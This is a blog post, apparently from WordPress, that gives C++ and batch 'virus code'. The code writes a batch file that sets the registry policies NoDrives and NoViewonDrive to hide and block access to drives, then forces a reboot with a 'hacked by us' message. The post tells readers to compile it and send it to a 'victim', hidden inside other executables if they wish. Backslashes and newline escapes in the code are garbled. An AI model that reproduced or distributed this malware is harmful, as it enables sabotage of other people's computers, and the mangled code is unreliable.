C++ ,Batch Virus code to disable All Hard disk


Hi friends,here i give you give the C++ virus code.  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also.



C++ Virus Code :


#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( “C:WINDOWSsystem32HackingStar.bat” ); /*opening or creating new file with .bat extension*/

write << “REG ADD HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVer sionpoliciesExplorer /v NoDrives /t REG_DWORD /d 12n”; write << “REG ADD HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVer sionpoliciesExplorer /v NoViewonDrive /t REG_DWORD /d 12n”; write<<“shutdown -r -c “Sorry Your System is hacked by us!” -f”<<“n”; write.close(); //close file ShellExecute(NULL,”open”,”C:WINDOWSsystem32HackingStar.bat “,NULL,NULL,SW_SHOWNORMAL); return 0; }



Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don’t run this c++ program ,it will attack your system itself. 
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.


Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVer sionpoliciesExplorer /v NoDrives /t REG_DWORD /d 12n

REG ADD HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVer sionpoliciesExplorer /v NoViewonDrive /t REG_DWORD /d 12n

shutdown -r -c “Sorry Your System is hacked by us!” -f

I think this code will simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s